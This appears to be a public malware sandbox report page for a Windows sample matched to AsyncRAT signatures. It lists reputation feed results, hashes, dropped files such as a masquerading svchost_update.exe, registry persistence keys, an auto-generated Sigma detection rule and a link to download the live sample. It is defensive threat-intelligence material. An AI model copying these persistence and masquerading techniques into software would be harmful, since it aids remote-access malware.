SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
WinHttpSettings = <20 bytes>
|
- | not timed |
No operations match your filter.
External reputation was not produced for this scan. Threat intelligence enrichment is a paid-plan layer: every extracted indicator - hashes, addresses, hostnames - is checked against the external reputation services. Our own ingested feeds ran on this scan and every result below is theirs. Adding the paid layer adds an external reputation verdict on each indicator, so MalwareBazaar and filescan.io are listed below as not checked. See plans.
File reputation
4 clear · 2 not checked| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| MalwareBazaar hash feed | File hash | clean | not in feed | 3,387 records 45 minutes ago |
| MalwareBazaar ransomware feed | File hash | clean | not in feed | 3,348 records 4 hours ago |
| ThreatFox hash IOCs | File hash | clean | not in feed | 1,689 records 45 minutes ago |
| URLhaus payload hashes | File hash | clean | not in feed | 1,310 records 45 minutes ago |
| filescan.io | File hash | not checked | no hash lookup ran for this scan | live lookup |
| MalwareBazaar | File hash | not checked | no hash lookup ran for this scan | live lookup |
Hash lookups only - the sample itself is never uploaded to any third party.
Network indicators
7 clear · 1 could not answer| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| URLhaus | IP / domain / URL | feed unavailable | 2 observed indicators, none listed | no records ingested |
| blocklist.de | IP / domain / URL | clean | 2 observed indicators, none listed | 26.3k records 45 minutes ago |
| CINS Army | IP / domain / URL | clean | 2 observed indicators, none listed | 15k records 45 minutes ago |
| Emerging Threats | IP / domain / URL | clean | 2 observed indicators, none listed | 511 records 45 minutes ago |
| Feodo Tracker | IP / domain / URL | clean | 2 observed indicators, none listed | 5 records 45 minutes ago |
| IPsum | IP / domain / URL | clean | 2 observed indicators, none listed | 18.4k records 45 minutes ago |
| Phishing.Database | IP / domain / URL | clean | 2 observed indicators, none listed | 391.5k records 4 hours ago |
| ThreatFox | IP / domain / URL | clean | 2 observed indicators, none listed | 1,689 records 45 minutes ago |
TLS fingerprints
nothing of this kind to check| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| JA3 / JA4 fingerprint blocklists | JA3 / JA4 | not checked | no TLS client fingerprint observed | 97 records 10 hours ago |
| SSL blocklist | Server certificate | not checked | no server certificate fingerprint is extracted to check | live lookup |
Detection rules
1 of 2 listed| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| Signature rules | Sample content | 4 matches | SEKOIA_Rat_Win_Asyncrat, AsyncRAT_057B, win_asyncrat_j1 | 110 records 45 minutes ago |
| Sigma rules | Behavior log | clean | - | 2,275 records 6 hours ago |
Tooling catalogs
4 clear| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| LOLBAS | Process image paths | clean | 5 process image paths, none masqueraded | 245 records 45 minutes ago |
| LOLBootloaders | File hash | clean | not a known vulnerable bootloader | 520 records 44 minutes ago |
| LOLDrivers | File hash | clean | not a known vulnerable driver | 2,346 records 45 minutes ago |
| LOLRMM | Names and domains | clean | 7 name/domain indicators checked, no remote-management tooling | 358 records 44 minutes ago |
AI analysis
The AI layer is a paid-plan feature. It reads what the other layers produced - the behaviour summary, the call sequence, the indicator list - and writes the narrative and the kill-chain walkthrough.
Nothing is being withheld. This layer did not run for this scan, so there is no result stored behind the lock.
File indicators
5| Severity | Type | Indicator | Description |
|---|---|---|---|
| malicious | sample_sha256 | fd245f758530291fafaafe8b61da040ecbfa7d555f2e3cc26ca4eb7bd5eddb76 | Submitted sample (SHA256) |
| malicious | sample_md5 | 49fca5e0b67f0445d8113356abb00c8d | Submitted sample (MD5) |
| malicious | imphash | f34d5f2d4577ed6d9ceec516c1f5a744 | Import table hash (imphash) |
| suspicious | dropped_file | C:\Users\user\AppData\Roaming\svchost_update.exe | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\tmp17C5.tmp.bat | Executable written to disk during execution |
Registry indicators
3| Severity | Type | Indicator | Description |
|---|---|---|---|
| suspicious | registry_key | SYSTEM\ControlSet001\Services\Tcpip\Parameters | Autostart / persistence key |
| suspicious | registry_key | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters | Autostart / persistence key |
| suspicious | registry_key | Software\Microsoft\Windows\CurrentVersion\Run | Autostart / persistence key |
MITRE ATT&CK
1 techniqueSigma detections
0 matches of 2275 rulesThe Sigma corpus was evaluated against this run's processes, registry, file, network, DNS and script activity. Nothing matched.
Generated rules
Sigma: auto_file_2685_sigma_reg
Auto-generatedtitle: Auto-generated registry behavior rule (sandbox scan 2685)
id: sandbox-auto-2685-reg
status: experimental
description: Auto-generated from sandbox scan 2685
logsource:
category: registry_event
product: windows
detection:
selection:
TargetObject|contains:
- 'SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload'
- 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections'
- '\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Tracing'
- 'SYSTEM\ControlSet001\Services\Tcpip\Parameters'
- '\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Tracing\svchost_update_RASAPI32'
- '\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Tracing\svchost_update_RASMANCS'
- '\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload'
- 'TenantRestrictions\Payload'
condition: selection
level: mediumExtracted files
What came out of the sample: unpacked payloads, carved objects and captured memory. Each one is stored by content hash, so the same object extracted twice is the same row.
No extracted files
Nothing was unpacked or carved out of this sample. Packed samples, documents with embedded objects and installers are the ones that usually produce artifacts here.
Export & download
/s/2685Structured exports for your SIEM/TIP - ATT&CK Navigator layer, STIX 2.1 bundle, MISP event and a defanged IOC list - are free on every report. The packet capture follows this scan's plan, because a capture is the rawest network output this platform produces.
Analysis report
PDF and DOCX reports are available to signed-in accounts on every plan, free included. Sign in to generate one.
Headers
Body
Headers
Body
You are about to download the raw, live sample. It is real, potentially destructive malware and can harm your machine if opened or run. Only handle it inside an isolated analysis environment.
Delivered as a ZIP encrypted with the password infected so the bytes are never handled unprotected.
Report this analysis
Analysis reports are produced automatically from files, addresses and text submitted by visitors. If this one publishes your material, identifies you, or should not be public for any other reason, tell us why and an administrator will review it.
Public analyses of this file
1 run| Submitted | Environment | Verdict | Score |
|---|---|---|---|
| 2026-10-08 11:48 Shown below | Windows 10 22H2 | Malicious | 100/100 |